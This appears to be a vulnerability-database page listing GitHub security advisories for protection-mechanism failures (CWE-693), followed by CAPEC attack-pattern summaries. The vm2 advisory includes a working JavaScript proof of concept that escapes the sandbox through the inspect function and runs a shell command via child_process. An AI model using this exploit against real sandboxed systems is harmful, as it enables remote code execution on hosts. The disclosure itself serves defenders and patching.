"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenClaw: Linux and macOS exec allowlists skipped configured argument patterns"
}
GHSA-V2WX-4457-4JPJ
Vulnerability from github – Published: 2025-09-17 00:31 – Updated: 2025-09-17 00:31A vulnerability in the HPE Aruba Networking SD-WAN Gateways could allow an unauthenticated remote attacker to bypass firewall protections. Successful exploitation could allow an attacker to route potentially harmful traffic through the internal network, leading to unauthorized access or disruption of services.
{
"affected": [],
"aliases": [
"CVE-2025-37124"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-16T23:15:32Z",
"severity": "HIGH"
},
"details": "A vulnerability in the HPE Aruba Networking SD-WAN Gateways could allow an unauthenticated remote attacker to bypass firewall protections. Successful exploitation could allow an attacker to route potentially harmful traffic through the internal network, leading to unauthorized access or disruption of services.",
"id": "GHSA-v2wx-4457-4jpj",
"modified": "2025-09-17T00:31:11Z",
"published": "2025-09-17T00:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37124"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04943en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V37H-5MFM-C47C
Vulnerability from github – Published: 2026-05-05 16:33 – Updated: 2026-05-05 16:33Summary
VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
PoC
const obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice:()=>'',
l:{__proto__: null}
};
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.3"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24781"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T16:33:14Z",
"nvd_published_at": "2026-05-04T17:16:21Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.\n\n### PoC\n\n```js\nconst obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice:()=\u003e\u0027\u0027,\n\tl:{__proto__: null}\n};\n\nobj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {\n\tif (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;\n\treturn a;\n}});\nobj.l.x.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.",
"id": "GHSA-v37h-5mfm-c47c",
"modified": "2026-05-05T16:33:15Z",
"published": "2026-05-05T16:33:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24781"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "VM2 Has Sandbox Breakout Through Inspect Function"
}
GHSA-V3V6-H9VM-H39C
Vulnerability from github – Published: 2024-07-15 09:36 – Updated: 2024-07-15 09:36Openfind's Mail2000 has a vulnerability that allows the HttpOnly flag to be bypassed. Unauthenticated remote attackers can exploit this vulnerability using specific JavaScript code to obtain the session cookie with the HttpOnly flag enabled.
{
"affected": [],
"aliases": [
"CVE-2024-6741"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-15T09:15:03Z",
"severity": "MODERATE"
},
"details": "Openfind\u0027s Mail2000 has a vulnerability that allows the HttpOnly flag to be bypassed. Unauthenticated remote attackers can exploit this vulnerability using specific JavaScript code to obtain the session cookie with the HttpOnly flag enabled.",
"id": "GHSA-v3v6-h9vm-h39c",
"modified": "2024-07-15T09:36:30Z",
"published": "2024-07-15T09:36:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6741"
},
{
"type": "WEB",
"url": "https://www.openfind.com.tw/taiwan/download/Openfind_OF-ISAC-24-007.pdf"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-7941-b66e7-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-7940-0177a-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V4V5-CP6R-QGQ7
Vulnerability from github – Published: 2023-04-11 21:30 – Updated: 2023-04-11 21:30Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability
{
"affected": [],
"aliases": [
"CVE-2023-28284"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-11T21:15:00Z",
"severity": "MODERATE"
},
"details": "Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability",
"id": "GHSA-v4v5-cp6r-qgq7",
"modified": "2023-04-11T21:30:59Z",
"published": "2023-04-11T21:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28284"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28284"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V52C-8R34-P76R
Vulnerability from github – Published: 2025-07-08 18:31 – Updated: 2025-07-08 18:31Protection mechanism failure in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2025-47159"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-08T17:15:36Z",
"severity": "HIGH"
},
"details": "Protection mechanism failure in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-v52c-8r34-p76r",
"modified": "2025-07-08T18:31:44Z",
"published": "2025-07-08T18:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47159"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47159"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.